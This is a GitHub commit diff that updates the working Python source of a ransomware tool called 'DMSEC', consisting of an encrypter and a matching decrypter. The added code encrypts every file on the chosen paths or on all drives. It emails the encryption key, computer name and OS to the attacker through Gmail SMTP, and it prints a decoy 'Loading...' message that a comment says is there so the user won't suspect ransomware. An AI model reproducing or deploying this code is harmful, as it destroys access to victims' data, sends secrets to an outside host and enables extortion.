Skip to content

Commit

Permalink
update Ransomware
Browse files Browse the repository at this point in the history
  • Loading branch information
dmdhrumilmistry committed Aug 26, 2021
1 parent f34f18a commit 534ce19
Show file tree
Hide file tree
Showing 2 changed files with 50 additions and 19 deletions.
18 changes: 13 additions & 5 deletions ransomwares/dmsec/decrypter.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,14 +10,17 @@ def __init__(self, key:str=None, paths:list=None) -> None:
if key == None:
print('[!] Invalid KEY')
exit()

# convert key to bytes
if type(key)==str:
key = bytes(key, encoding='utf-8')
self.KEY = key
print('[!] KEY :', self.KEY)
print('[!] Decrypting data using KEY :', self.KEY)

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)

# decrypt all partitions if paths are not passed
if paths == None:
self.PATHS = self.__get_partitions_path()
else:
Expand Down Expand Up @@ -64,12 +67,9 @@ def decrypt_files(self, path:str):
decrypts all the files in the specified path
'''
for root, dirs, files in walk(path):
print('-'*40)
print('ROOT :',root)
for file in files:
file_path = join(root, file)
self.decrypt_file(file_path=file_path)
print('-'*40)


def start(self):
Expand All @@ -78,7 +78,15 @@ def start(self):


if __name__ == '__main__':
PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
print('[*] Decrypting....')

# specify paths to be decrypted
PATHS = [r'paths_to_be_decrypted',]

KEY = input('[+] Enter KEY : ')

# don't pass PATHS if all the drives are to be decrypted.
encrypter = DMSECDecrypter(KEY, PATHS)
encrypter.start()

print('[*] Decrypted...')
51 changes: 37 additions & 14 deletions ransomwares/dmsec/dmsec_ransomeware.py
Original file line number Diff line number Diff line change
@@ -1,13 +1,22 @@
import smtplib
from cryptography.fernet import Fernet
from os import chdir, getcwd, walk
from os import walk, environ
from os.path import join
from psutil import disk_partitions


class DMSECEncrypter:
def __init__(self, paths:list=None) -> None:
def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None:
# generate new key
self.KEY = Fernet.generate_key()
print('[!] KEY :', self.KEY)

# report KEY to the attacker using email
if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd):
pass
else:
# print error message and exit if key is not sent
print('[!] Try Again, Unable to connect')
exit()

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)
Expand All @@ -16,9 +25,23 @@ def __init__(self, paths:list=None) -> None:
self.PATHS = self.__get_partitions_path()
else:
self.PATHS = paths
print('[!] PATHS to be encrypted :\n', self.PATHS)


def send_mail(self, mail, password)->bool:
'''
sends mail to specific address/addresses.
'''
try:
message = f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(mail, password)
server.sendmail(mail, mail, message)
server.quit()
return True
except Exception as e:
return False


def __get_partitions_path(self) -> list:
'''
Expand All @@ -42,32 +65,32 @@ def encrypt_file(self, file_path):
# write file data
with open(file_path, 'wb') as f:
file_data = f.write(enc_data)
print(f'[*] File {file_path} encrypted.')
return True

except Exception:
print(f'[!] Failed to encrypt {file_path}')
return False


def encrypt_files(self, path:str):
for root, dirs, files in walk(path):
print('-'*40)
print('ROOT :',root)
for file in files:
# print('File :', file)
file_path = join(root, file)
# print('filePATH :',file_path)
self.encrypt_file(file_path=file_path)
print('-'*40)



def start(self):
for path in self.PATHS:
self.encrypt_files(path)


if __name__ == '__main__':
PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
encrypter = DMSECEncrypter(PATHS)
# Print some meaningful text, so that user don't suspect program as ransomeware
print('[*] Loading...')

# Specify paths to be encrypted
PATHS = [r'path_to_be_encrypted',]

# don't pass PATHS if all the drives are to be encrypted
encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
encrypter.start()
print('[*] Completed')

0 comments on commit 534ce19

Please sign in to comment.